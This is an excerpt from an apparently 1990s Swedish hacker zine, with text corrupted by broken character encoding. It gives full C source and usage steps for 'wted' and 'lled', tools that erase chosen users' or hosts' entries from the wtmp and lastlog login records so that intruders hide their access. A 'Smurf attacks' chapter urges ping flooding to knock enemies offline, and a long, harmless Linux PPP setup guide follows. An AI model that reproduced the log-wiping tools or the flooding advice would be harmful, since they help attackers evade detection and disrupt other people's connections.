-u Show all entries for USER
|
|||
|
-b Show NULL entries
|
|||
|
-e Erase USER completely
|
|||
|
-c Erase all connections containing HOST
|
|||
|
-z Show ZAP'd entries
|
|||
|
-x Attempt to remove ZAP'd entries completely
|
|||
|
|
|||
|
|
|||
|
S<EFBFBD> om jag FTP:ar till anv<6E>ndarnamnet smith skulle jag skriva wted <20>x <20>e .
|
|||
|
Programmet kommer nu att prompta dig ett login i taget f<>r anv<6E>ndaren smith,
|
|||
|
och fr<66>ga om du verkligen vill ta bort det.
|
|||
|
Efter att du tagit bort ditt login, var d<> s<>ker p<> att du g<>r
|
|||
|
chmod 664 wtmp.tmp och sedan kopierar den till katalogen ett steg upp i logg systemet:
|
|||
|
|
|||
|
|
|||
|
1. chmod 644 wtmp.tmp
|
|||
|
2. cp wtmp.tmp /var/adm/wtmp
|
|||
|
|
|||
|
Ok, h<>r <20>r nu wted programmet:
|
|||
|
|
|||
|
OBS: F<>RS<52>KRA DIG OM ATT DU HAR R<>TT S<>KV<4B>G TILL <20>char filen<65> under,
|
|||
|
S<EFBFBD> att du f<>r r<>tt s<>kv<6B>g till wtmp filen!
|
|||
|
|
|||
|
wted.c
|
|||
|
---------------------- klipp h<>r!
|
|||
|
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <utmp.h>
|
|||
|
#include <time.h>
|
|||
|
#include <fcntl.h>
|
|||
|
|
|||
|
char *file="/var/adm/wtmp";
|
|||
|
|
|||
|
main(argc,argv)
|
|||
|
int argc;
|
|||
|
char *argv[];
|
|||
|
{
|
|||
|
int i;
|
|||
|
if (argc==1) usage();
|
|||
|
for(i=1;i<argc;i++)
|
|||
|
{
|
|||
|
if(argv[i][0] == '-')
|
|||
|
{
|
|||
|
switch(argv[i][1])
|
|||
|
{
|
|||
|
case 'b': printents(""); break;
|
|||
|
case 'z': printents("Z4p"); break;
|
|||
|
case 'e': erase(argv[i+1],0); break;
|
|||
|
case 'c': erase(0,argv[i+1]); break;
|
|||
|
case 'f': file=argv[i+1]; break;
|
|||
|
case 'u': printents(argv[i+1]); break;
|
|||
|
case 'a': printents("*"); break;
|
|||
|
case 'x': remnull(argv[i+1]); break;
|
|||
|
default:usage();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
printents(name)
|
|||
|
char *name;
|
|||
|
{
|
|||
|
struct utmp utmp,*ptr;
|
|||
|
int fp=-1;
|
|||
|
ptr=&utmp;
|
|||
|
if (fp=open(file,O_RDONLY))
|
|||
|
{
|
|||
|
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
|
|||
|
{
|
|||
|
if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
|
|||
|
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
|
|||
|
printinfo(ptr);
|
|||
|
}
|
|||
|
close(fp);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
printinfo(ptr)
|
|||
|
struct utmp *ptr;
|
|||
|
{
|
|||
|
char tmpstr[256];
|
|||
|
printf("%s\t",ptr->ut_name);
|
|||
|
printf("%s\t",ptr->ut_line);
|
|||
|
strcpy(tmpstr,ctime(&(ptr->ut_time)));
|
|||
|
tmpstr[strlen(tmpstr)-1]='\0';
|
|||
|
printf("%s\t",tmpstr);
|
|||
|
printf("%s\n",ptr->ut_host);
|
|||
|
}
|
|||
|
|
|||
|
erase(name,host)
|
|||
|
char *name,*host;
|
|||
|
{
|
|||
|
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
|
|||
|
struct utmp utmp;
|
|||
|
unsigned char c;
|
|||
|
if (fp=open(file,O_RDONLY)) {
|
|||
|
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
|
|||
|
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
|
|||
|
if (host)
|
|||
|
if (strstr(utmp.ut_host,host)) tot++;
|
|||
|
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
|
|||
|
if (name) {
|
|||
|
if (strcmp(utmp.ut_name,name)) {cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct utmp));}
|
|||
|
else {
|
|||
|
if (n>0) {
|
|||
|
n--;cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct utmp));}
|
|||
|
else
|
|||
|
{
|
|||
|
printinfo(&utmp);
|
|||
|
printf("Erase entry (y/n/f(astforward))? ");
|
|||
|
c='a';
|
|||
|
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
|
|||
|
if (c=='f') {
|
|||
|
cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct utmp));
|
|||
|
printf("Fast forward how many entries? ");
|
|||
|
scanf("%d",&n);}
|
|||
|
if (c=='n') {
|
|||
|
cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct utmp));
|
|||
|
}
|
|||
|
if (c=='y') tot++;
|
|||
|
}
|
|||
|
} }
|
|||
|
|
|||
|
}
|
|||
|
close(fp);
|
|||
|
close(fd);
|
|||
|
}
|
|||
|
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
|
|||
|
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
|
|||
|
}
|
|||
|
|
|||
|
remnull(name)
|
|||
|
char *name;
|
|||
|
{
|
|||
|
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
|
|||
|
struct utmp utmp;
|
|||
|
if (fp=open(file,O_RDONLY)) {
|
|||
|
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
|
|||
|
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
|
|||
|
if (utmp.ut_time) {
|
|||
|
cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct utmp));
|
|||
|
}
|
|||
|
else
|
|||
|
tot++;
|
|||
|
}
|
|||
|
close(fp);
|
|||
|
close(fd);
|
|||
|
}
|
|||
|
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
|
|||
|
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
|
|||
|
}
|
|||
|
|
|||
|
usage()
|
|||
|
{
|
|||
|
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
|
|||
|
printf("\t-h\tThis help\n");
|
|||
|
printf("\t-f\tUse FILE instead of default\n");
|
|||
|
printf("\t-a\tShow all entries found\n");
|
|||
|
printf("\t-u\tShow all entries for USER\n");
|
|||
|
printf("\t-b\tShow NULL entries\n");
|
|||
|
printf("\t-e\tErase USER completely\n");
|
|||
|
printf("\t-c\tErase all connections containing HOST\n");
|
|||
|
printf("\t-z\tShow ZAP'd entries\n");
|
|||
|
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
---------------------- klipp h<>r
|
|||
|
|
|||
|
|
|||
|
Du kanske ocks<6B> m<>ste rensa upp i filen /vat/adm/lastlog
|
|||
|
F<EFBFBD>r att g<>ra detta anv<6E>nder du programmet lled.c. Kompilera programmet och
|
|||
|
d<EFBFBD>p om det till lled.
|
|||
|
H<EFBFBD>r <20>r menyn av kommandon f<>r programmet n<>r du skriver in kommandot ./lled :
|
|||
|
|
|||
|
[4:04am][/home/paris/compile]lled
|
|||
|
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
|
|||
|
-h This help
|
|||
|
-f Use FILE instead of default
|
|||
|
-a Show all entries found
|
|||
|
-u Show all entries for USER
|
|||
|
-b Show NULL entries
|
|||
|
-e Erase USER completely
|
|||
|
-c Erase all connections containing HOST
|
|||
|
-z Show ZAP'd entries
|
|||
|
-x Attempt to remove ZAP'd entries completely
|
|||
|
|
|||
|
Det vore bra att kolla genom att f<>rst anv<6E>nda <20>u , men m<>nga g<>nger kommer det inte att
|
|||
|
visa ditt host. Men om du vet vad du letar efter kan du skriva (om du kommer fr<66>n
|
|||
|
macine.host.com):
|
|||
|
|
|||
|
lled <20>e username <20>c machine.host
|
|||
|
|
|||
|
Om du m<>ste kolla lastlog s<> borde naturligtvis ditt hostname finnas l<>ngst ned.
|
|||
|
Skriv bara: lled <20>a
|
|||
|
|
|||
|
chmod:a filen lastlog.tmp 664 och kopiera den till katalogen ett steg upp<70>t.
|
|||
|
|
|||
|
F<EFBFBD>RS<EFBFBD>KRA DIG OM ATT DU FIXAR S<>KV<4B>GEN TILL DIN LASTLOG NEDAN:
|
|||
|
Ok; h<>r <20>r lastlog programmet:
|
|||
|
|
|||
|
-------------------------- klipp h<>r
|
|||
|
#include <stdio.h>
|
|||
|
#include <time.h>
|
|||
|
#include <lastlog.h>
|
|||
|
#include <fcntl.h>
|
|||
|
|
|||
|
char *file="/var/adm/lastlog";
|
|||
|
|
|||
|
main(argc,argv)
|
|||
|
int argc;
|
|||
|
char *argv[];
|
|||
|
{
|
|||
|
int i;
|
|||
|
if (argc==1) usage();
|
|||
|
for(i=1;i<argc;i++)
|
|||
|
{
|
|||
|
if(argv[i][0] == '-')
|
|||
|
{
|
|||
|
switch(argv[i][1])
|
|||
|
{
|
|||
|
case 'b': printents(""); break;
|
|||
|
case 'z': printents("Z4p"); break;
|
|||
|
case 'e': erase(argv[i+1]); break;
|
|||
|
case 'c': erase(0,argv[i+1]); break;
|
|||
|
case 'f': file=argv[i+1]; break;
|
|||
|
case 'u': printents(argv[i+1]); break;
|
|||
|
case 'a': printents("*"); break;
|
|||
|
case 'x': remnull(argv[i+1]); break;
|
|||
|
default:usage();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
printents(name)
|
|||
|
char *name;
|
|||
|
{
|
|||
|
struct lastlog utmp,*ptr;
|
|||
|
int fp=-1;
|
|||
|
ptr=&utmp;
|
|||
|
if (fp=open(file,O_RDONLY))
|
|||
|
{
|
|||
|
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
|
|||
|
{
|
|||
|
if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
|
|||
|
(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
|
|||
|
printinfo(ptr);
|
|||
|
}
|
|||
|
close(fp);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
printinfo(ptr)
|
|||
|
struct lastlog *ptr;
|
|||
|
{
|
|||
|
char tmpstr[256];
|
|||
|
printf("%s\t",ptr->ll_line);
|
|||
|
strcpy(tmpstr,ctime(&(ptr->ll_time)));
|
|||
|
tmpstr[strlen(tmpstr)-1]='\0';
|
|||
|
printf("%s\t",tmpstr);
|
|||
|
printf("%s\n",ptr->ll_host);
|
|||
|
}
|
|||
|
|
|||
|
erase(name,host)
|
|||
|
char *name,*host;
|
|||
|
{
|
|||
|
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
|
|||
|
struct lastlog utmp;
|
|||
|
unsigned char c;
|
|||
|
if (fp=open(file,O_RDONLY)) {
|
|||
|
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
|
|||
|
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
|
|||
|
if (host)
|
|||
|
if (strstr(utmp.ll_host,host)) tot++;
|
|||
|
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
|
|||
|
if (name) {
|
|||
|
if (strcmp(utmp.ll_line,name)) {cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct lastlog));}
|
|||
|
else {
|
|||
|
if (n>0) {
|
|||
|
n--;cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct lastlog));}
|
|||
|
else
|
|||
|
{
|
|||
|
printinfo(&utmp);
|
|||
|
printf("Erase entry (y/n/f(astforward))? ");
|
|||
|
c='a';
|
|||
|
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
|
|||
|
if (c=='f') {
|
|||
|
cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct lastlog));
|
|||
|
printf("Fast forward how many entries? ");
|
|||
|
scanf("%d",&n);}
|
|||
|
if (c=='n') {
|
|||
|
cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct lastlog));
|
|||
|
}
|
|||
|
if (c=='y') tot++;
|
|||
|
}
|
|||
|
} }
|
|||
|
|
|||
|
}
|
|||
|
close(fp);
|
|||
|
close(fd);
|
|||
|
}
|
|||
|
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
|
|||
|
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
|
|||
|
}
|
|||
|
|
|||
|
remnull(name)
|
|||
|
char *name;
|
|||
|
{
|
|||
|
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
|
|||
|
struct lastlog utmp;
|
|||
|
if (fp=open(file,O_RDONLY)) {
|
|||
|
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
|
|||
|
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
|
|||
|
if (utmp.ll_time) {
|
|||
|
cnt++;
|
|||
|
write(fd,&utmp,sizeof(struct lastlog));
|
|||
|
}
|
|||
|
else
|
|||
|
tot++;
|
|||
|
}
|
|||
|
close(fp);
|
|||
|
close(fd);
|
|||
|
}
|
|||
|
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
|
|||
|
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
|
|||
|
}
|
|||
|
|
|||
|
usage()
|
|||
|
{
|
|||
|
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
|
|||
|
printf("\t-h\tThis help\n");
|
|||
|
printf("\t-f\tUse FILE instead of default\n");
|
|||
|
printf("\t-a\tShow all entries found\n");
|
|||
|
printf("\t-u\tShow all entries for USER\n");
|
|||
|
printf("\t-b\tShow NULL entries\n");
|
|||
|
printf("\t-e\tErase USER completely\n");
|
|||
|
printf("\t-c\tErase all connections containing HOST\n");
|
|||
|
printf("\t-z\tShow ZAP'd entries\n");
|
|||
|
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
|
|||
|
}
|
|||
|
---------------------------------------------------------------- klipp h<>r
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Kapitel 5: Smurf Attacks
|
|||
|
|
|||
|
Har du n<>gonsin h<>rt talas om de s<> kallade <20>Smurf Attackerna<6E> som folk anv<6E>nder f<>r att f<> bort
|
|||
|
sina ov<6F>nner fr<66>n n<>tet?? <20> Jag vet att det k<>nns lite lamt att ta upp det s<> h<>r i tredje boken av HM,
|
|||
|
men det har liksom inte kommit med tidigare. Och detta kan i m<>nga fall vara mer effektivt <20>n nukes!
|
|||
|
|
|||
|
- S<>. Vad <20>r detta??
|
|||
|
|
|||
|
N<EFBFBD>r du skickar en ping till n<>gon s<> kommer ju alltid de paket du skickar tillbaka, s<> att du ser hur l<>ng
|
|||
|
tid det tog f<>r f<>rbindelsen att skicka och ta emot paketen<65> S<>, vad jag f<>r fram genom detta <20>r att
|
|||
|
paketen tar upp bandbredd f<>r b<>de din och den du pingar <20>s anslutning! Vilket g<>r att ni b<>da hamnar
|
|||
|
efter (<28>laggar<61>) och det g<>r mycket l<>ngsammare att surfa mm..
|
|||
|
Men om inte paketen skulle komma tillbaka s<> kunde du skicka paket mycket snabbare!
|
|||
|
D<EFBFBD> skulle ju ocks<6B> mottagarens anslutning bli <20>NNU s<>mre, kanske till och med kopplas ned!!
|
|||
|
|
|||
|
S<EFBFBD> vad vi beh<65>ver <20>r<EFBFBD> Hmm,, ja, n<>gonting som hindrar paketen att n<> fram till v<>r egen dator.
|
|||
|
Detta g<>rs enkelt genom att anv<6E>nda en firewall! Ett firewall program kan du ladda hem lite h<>r
|
|||
|
och d<>r p<> Internet. [ Det svenska ordet f<>r firewall <20>r <20>Brandv<64>gg<67>. ].
|
|||
|
En Firewall filtrerar allts<74> inkommande information fr<66>n n<>tet. Det kan vara nukar, pings, ICMP
|
|||
|
grejor och annat. T.o.m. om n<>gon f<>rs<72>ker ansluta till din dator med Back Orifice, Evil FTP eller
|
|||
|
NetBus etc.. S<> varnar programmet och l<>ter dig v<>lja mellan att ignorera, acceptera eller blockera
|
|||
|
anslutningen. Po<50>ngen <20>r att inga paket kan <20>terv<72>nda till din dator och att du p<> s<> s<>tt kan pinga
|
|||
|
din ov<6F>n mycket snabbare. Ladda ocks<6B> ner en pinger som till<6C>ter kloner!
|
|||
|
Du kan d<> pinga n<>gon med 65000 bytes g<>nger 10 !!! (10 kloner) vilket blir <20>FETT_MYCKET<45>! ;-).
|
|||
|
En bra s<>dan pinger <20>r <20>Fortune 2k<32> ( Final Fortune ).
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Kapitel 6: Mera UNIX
|
|||
|
|
|||
|
Nu har du s<>kert suttit med Redhat Linux och pj<70>kat med X-Windows och en massa krafs,
|
|||
|
Du har kanske hittat f<>nsterhanterare och skal mm.. S<> jag tror att du vill f<> ig<69>ng Internet nu.
|
|||
|
<EFBFBD>ven om du inte har ett lika fint skal som Windows var f<>r DOS, s<> kommer du nu f<> hj<68>lp
|
|||
|
med att koppla upp dig direkt fr<66>n den m<>rka kod-sk<73>rmen.
|
|||
|
Ni som har hittat en fin f<>nsterhanterare har nog redan hittat Internet uppkopplingen.
|
|||
|
F<EFBFBD>lj med h<>r nu bara!
|
|||
|
|
|||
|
N<EFBFBD>tverk
|
|||
|
|
|||
|
I detta kapitel ska jag visa hur du konfigurerar n<>tverksfunktionerna i Linux.
|
|||
|
Linux g<>r att anv<6E>nda i m<>nga olika situationer och jag har h<>rt talas om ett antal fall
|
|||
|
d<EFBFBD>r Linux n<>stan varit den enda l<>sningen att koppla ihop Windows-, Macintosh-, Novell-,
|
|||
|
och Unix-baserade n<>tverk. I <20>vanliga<67> operativsystem skulle du f<> betala tusan
|
|||
|
f<EFBFBD>r varje extra arkitektur.
|
|||
|
|
|||
|
Linux kan med hj<68>lp av Samba-sviten vara server och klient till Windows-n<>tverk med
|
|||
|
utdelade resurser och allt vad det kallas. Man kan dela filer och skrivare och det skall <20>ven
|
|||
|
funka att anv<6E>nda Linux som dom<6F>nserver som du kan logga in p<> precis som med NT.
|
|||
|
Det finns liknande programsviter till Macintosh och Novell. Linux <20>r ju ungef<65>r Unix s<> det
|
|||
|
mesta i den v<>gen fungerar ocks<6B>.
|
|||
|
|
|||
|
N<EFBFBD>tverkskort
|
|||
|
|
|||
|
De flesta n<>tverkskort fungerar bra i Linux, det st<73>rsta problemet <20>r f<>rmodligen
|
|||
|
de kort som g<>r under Plug<75>n<EFBFBD>Play-st<73>mpeln. Speciellt ISA-korten <20>r problematiska,
|
|||
|
PCI <20>r oftast inga st<73>rre problem. Du f<>r titta lite i dina BIOS-inst<73>llningar.
|
|||
|
Ofta kan du v<>lja att du inte har n<>got PnP-operativsystem och att korten inte skall
|
|||
|
nollst<EFBFBD>llas vid omstart. Har du tur kan du st<73>nga av PnP funktionen p<> kortet genom
|
|||
|
n<EFBFBD>got inst<73>llningsprogram p<> <20>den medf<64>ljande disketten<65>.
|
|||
|
|
|||
|
Till ISA PnP-kort finns paketet isapnptools, men det <20>r v<>ldigt b<>kigt, b<>de att konfigurera
|
|||
|
programmen och att f<> det att fungera i verkligheten. Det <20>r m<>jligt att det kommer PnP-st<73>d
|
|||
|
till k<>rnan. Det har diskuterats ett tag om man <20>ver huvudtaget vill ha det, PnP <20>r inte s<>rskiljt
|
|||
|
popul<EFBFBD>rt inom Linuxv<78>rlden, i alla fall inte bland halvreligi<67>sa veteraner.
|
|||
|
|
|||
|
Om du ska k<>pa n<>tverkskort kan du titta i Ethernet-HOWTO och Hardware-HOWTO;
|
|||
|
d<EFBFBD>r st<73>r vilka kort som fungerar och vilka som inte g<>r det. Det finns m<>nga billiga modeller
|
|||
|
som <20>r NE2000-kompatibla. Om de <20>r d<>liga blir det problem. Dessa kort b<>r du inte s<>tta i
|
|||
|
servrar eftersom de inte alltid h<>ller speciellt bra men hur som helst har Linux bra NE2000-
|
|||
|
drivrutiner. Men f<>rs<72>k att se till s<> du kan aktivera PnP<6E>
|
|||
|
|
|||
|
Konfiguration
|
|||
|
|
|||
|
N<EFBFBD>r du installerade Linux hittade den kanske ditt n<>tverkskort och du skrev in IP adress,
|
|||
|
v<EFBFBD>rdnamn osv. Fungerar det som det ska s<> <20>r det perfekt. Du kan titta p<> och <20>ndra
|
|||
|
inst<EFBFBD>llningarna med programmet ifconfig, men du m<>ste vara root n<>r du vill <20>ndra.
|
|||
|
H<EFBFBD>r finner du en massa inst<73>llningar som jag tyv<79>rr inte hinner g<> igenom h<>r och nu.
|
|||
|
Testa <20>man ifconfig<69>, <20>whatis ifconfig<69> och <20>what is ifconfig<69> f<>r att f<> mer info.
|
|||
|
|
|||
|
Internetabonnemang
|
|||
|
och Linux
|
|||
|
|
|||
|
Har du problem att f<> till din Linux-uppkoppling mot Internet? L<>s i s<> fall vidare, ty h<>r
|
|||
|
finner du en scriptgenerator som st<73>ller
|
|||
|
n<EFBFBD>gra fr<66>gor om ditt Internet-konto och utifr<66>n dina svar skapas sedan de script och filer som
|
|||
|
beh<EFBFBD>vs f<>r uppkopplingen.
|
|||
|
|
|||
|
Programmet <20>r testat mot Algonet, Tele2, Telenordia, Telia och Tripnet med gott resultat. Det
|
|||
|
b<EFBFBD>r <20>ven fungera mot Calypso
|
|||
|
och IBM.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Inledning
|
|||
|
|
|||
|
|
|||
|
M<EFBFBD>nga nya Linux-anv<6E>ndare brukar ha problem med att koppla upp sig mot Internet. Detta
|
|||
|
har flera orsaker. Viktigast <20>r nog
|
|||
|
att de flesta Internet-leverant<6E>rer inte sett det som n<>gon viktig uppgift att ta fram korrekta
|
|||
|
och l<>ttbegripliga instruktioner f<>r Linux, men ocks<6B> p<> att det faktiskt kan vara lite kr<6B>ngligt
|
|||
|
att ordna. Detta dokument och tillh<6C>rande filer syftar till att reducera problemen till ett
|
|||
|
minimum genom att till stor del automatisera installationen. F<>r detta utnyttjas ett program
|
|||
|
(pppinst.sh), som fr<66>gar efter Internetleverant<6E>r och de uppgifter som beh<65>vs f<>r att ringa upp
|
|||
|
(telefonnumret) och logga in p<> leverant<6E>rens server (anv<6E>ndarnamn och l<>senord). D<>refter
|
|||
|
skapas automatiskt de script och hj<68>lpfiler som beh<65>vs f<>r uppkopplingen.
|
|||
|
|
|||
|
De Internetleverant<6E>rer som installationsprogrammet f n b<>r kunna klara <20>r Algonet, Calypso,
|
|||
|
IBM, Tele2, Telenordia, Telia och Tripnet.
|
|||
|
|
|||
|
Installationsprogrammet skapar tv<74> script (ppp-on och ppp-off) som anv<6E>nds vid upp- resp
|
|||
|
nedkoppling till Internetleverant<6E>ren. Programmet g<>r det m<>jligt att v<>lja om man vill att
|
|||
|
alla anv<6E>ndare skall kunna koppla upp sig mot Internet eller inte - t<>nk dock p<> att detta att
|
|||
|
l<EFBFBD>ta alla anv<6E>ndare att g<>ra uppkopplingen inneb<65>r en s<>kerhetslucka som kanske inte spelar
|
|||
|
n<EFBFBD>gon roll i hemmet, men som absolut inte b<>r f<>rekomma i system med m<>nga anv<6E>ndare.
|
|||
|
|
|||
|
M<EFBFBD>nga nya Linux-anv<6E>ndare brukar ha problem med att koppla upp sig mot Internet. Detta
|
|||
|
har flera orsaker. Viktigast <20>r nog att de flesta Internet-leverant<6E>rer inte sett det som n<>gon
|
|||
|
viktig uppgift att ta fram korrekta och l<>ttbegripliga instruktioner f<>r Linux, men ocks<6B> p<> att
|
|||
|
det faktiskt kan vara lite kr<6B>ngligt att ordna. Detta dokument och tillh<6C>rande filer syftar till att
|
|||
|
reducera problemen till ett minimum genom att till stor del automatisera installationen. F<>r
|
|||
|
detta utnyttjas ett program (pppinst.sh), som fr<66>gar efter Internetleverant<6E>r och de uppgifter
|
|||
|
som beh<65>vs f<>r att ringa upp (telefonnumret) och logga in p<> leverant<6E>rens server
|
|||
|
(anv<6E>ndarnamn och l<>senord). D<>refter skapas automatiskt de script och hj<68>lpfiler som
|
|||
|
beh<EFBFBD>vs f<>r uppkopplingen. De Internetleverant<6E>rer som installationsprogrammet f n b<>r
|
|||
|
kunna klara <20>r Algonet, Calypso, IBM, Tele2, Telenordia, Telia
|
|||
|
och Tripnet.
|
|||
|
|
|||
|
Installationsprogrammet skapar tv<74> script (ppp-on och ppp-off) som anv<6E>nds vid upp- resp
|
|||
|
nedkoppling till Internetleverant<6E>ren. Programmet g<>r det m<>jligt att v<>lja om man vill att
|
|||
|
alla anv<6E>ndare skall kunna koppla upp sig mot Internet eller inte - t<>nk dock p<> att detta att
|
|||
|
l<EFBFBD>ta alla anv<6E>ndare att g<>ra uppkopplingen inneb<65>r en s<>kerhetslucka som kanske inte spelar
|
|||
|
n<EFBFBD>gon roll i hemmet, men som absolut inte b<>r f<>rekomma i system med m<>nga anv<6E>ndare.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
F<EFBFBD>rberedelser
|
|||
|
|
|||
|
Samla ihop de uppgifter du f<>tt av Internetleverant<6E>ren: telefonnummer, ditt
|
|||
|
anv<EFBFBD>ndarnamn (loginnamn) och l<>senord, samt IP-adresserna till de namnservrar som
|
|||
|
tillhandah<EFBFBD>lls. Tag reda p<> vilken serieport som ditt modem <20>r anslutet till.
|
|||
|
H<EFBFBD>mta hem shellarkivet ppp.shar som inneh<65>ller alla n<>dv<64>ndiga filer. Ladda hem ppp.shar
|
|||
|
|
|||
|
Skapa en katalog dit du kopierar shellarkivet ppp.shar och placera dig i katalogen. Om
|
|||
|
arkivet redan <20>r i en l<>mplig katalog kan du strunta i kopieringen, men katalogen b<>r helst
|
|||
|
vara tom, bl a d<>rf<72>r att det i annat fall kan h<>nda att vissa filer inte packas upp fr<66>n arkivet,
|
|||
|
ty detta <20>r konstruerat s<> att inga redan existerande filer skrivs <20>ver. Packa upp shellarkivet
|
|||
|
med kommandot sh ppp.shar
|
|||
|
|
|||
|
Installation
|
|||
|
|
|||
|
Installationen kr<6B>ver att man <20>r inloggad som root: Logga in som root om du inte redan <20>r det!
|
|||
|
|
|||
|
Du skall av din leverant<6E>r ha f<>tt IP-adresser till namnservrar (adresserna har formen
|
|||
|
xxx.xxx.xxx.xxx, d<>r xxx <20>r ett tal 0-255).
|
|||
|
Dessa skall fogas till filen /etc/resolv.conf. Detta kan du g<>ra s<> h<>r:
|
|||
|
Flytta till katalogen /etc (med kommandot cd /etc)
|
|||
|
Starta en editor f<>r att redigera filen resolv.conf. (t ex pico resolv.conf)
|
|||
|
Skriv in IP-adresserna f<>r namnservrarna (1 per rad och stava r<>tt!), t ex nameserver
|
|||
|
130.237.225.199
|
|||
|
|
|||
|
K<>r programmet pppinst.sh genom att skriva
|
|||
|
|
|||
|
./pppinst.sh
|
|||
|
|
|||
|
och svara p<> fr<66>gorna (om inte redan modemet <20>r installerat m<>ste du veta vilken serieport
|
|||
|
det <20>r anslutet till, dessutom m<>ste du veta namnet p<> din leverant<6E>r, telefonnumret till
|
|||
|
leverant<EFBFBD>rens server, ditt loginnamn och ditt l<>senord). Resten hanterar programmet.
|
|||
|
|
|||
|
N<EFBFBD>r programmet avslutats b<>r allt vara klart f<>r uppkoppling.
|
|||
|
|
|||
|
Testa uppkopplingen
|
|||
|
|
|||
|
Se till att modemet <20>r p<>slaget och att modemkabeln sitter r<>tt. Logga s<> in som root och ge
|
|||
|
kommandot
|
|||
|
|
|||
|
/usr/sbin/ppp-on &
|
|||
|
|
|||
|
OBS att du b<>r skriva hela filv<6C>gen s<> att du s<>kert vet att r<>tt ppp-on k<>rs (det kan ju finnas
|
|||
|
fler och det <20>r inte s<>kert att katalogen /usr/sbin ing<6E>r i s<>kv<6B>gen).
|
|||
|
|
|||
|
Om det verkar som om f<>rbindelsen uppr<70>ttas kan du f<>rs<72>ka k<>ra n<>got program mot
|
|||
|
Internet (s<>som ftp mot n<>gon svensk ftp-server, t ex ftp.sunet.se). Om <20>ven detta g<>r bra, s<>
|
|||
|
har du en fungerande Internet-uppkoppling
|
|||
|
|
|||
|
F<EFBFBD>r att avsluta uppkopplingen b<>r du sedan k<>ra kommandot
|
|||
|
|
|||
|
/usr/sbin/ppp-off
|
|||
|
|
|||
|
Om du valde att <20>ven vanliga anv<6E>ndare skall kunna g<>ra uppkopplingen, dvs utan att vara
|
|||
|
inloggad som root, b<>r du ocks<6B> logga in som vanlig anv<6E>ndare och g<>ra om testen. Om det
|
|||
|
inte fungerar beror det f<>rmodligen p<> att n<>gon <20>tkomstr<74>ttighet <20>r felaktig (se avsnittet om
|
|||
|
fel nedan). L<>gg dock m<>rke till att i nuvarande skick kan bara root st<73>nga av f<>rbindelsen
|
|||
|
(med ppp-off). Det finns l<>sningar p<> detta problem, men de <20>r enligt min mening inte
|
|||
|
speciellt bra, s<> jag har inte
|
|||
|
implementerat detta <20>n.
|
|||
|
|
|||
|
Trubbel - det fungerar inte!
|
|||
|
Vanliga fel
|
|||
|
|
|||
|
Om modemet inte reagerar n<>r du ger detta kommando (och om du skrev r<>tt), d<> <20>r det
|
|||
|
f<EFBFBD>rmodligen antingen fel p<> modemet (kontrollera att det <20>r p<>slaget och att modemkabeln
|
|||
|
sitter r<>tt) eller s<> <20>r fel serieport knuten till modemet.
|
|||
|
|
|||
|
Om det senare <20>r fallet m<>ste du f<>rst radera den gamla l<>nken /dev/modem (med kommandot
|
|||
|
rm /dev/modem), och d<>refter kan du antingen k<>ra om programmet eller manuellt fixa det
|
|||
|
(med kommandot ln -s /dev/cuaX/dev/modem d<>r X <20>r 0,1,2 eller 3 beroende p<> vilken
|
|||
|
serieport modemet <20>r kopplat till).
|
|||
|
|
|||
|
Om modemet ringer upp men det inte svarar ett modem i andra <20>nden, d<> <20>r f<>rmodligen
|
|||
|
telefonnumret felaktigt eller s<> fungerar inte servern f<>r tillf<6C>llet.
|
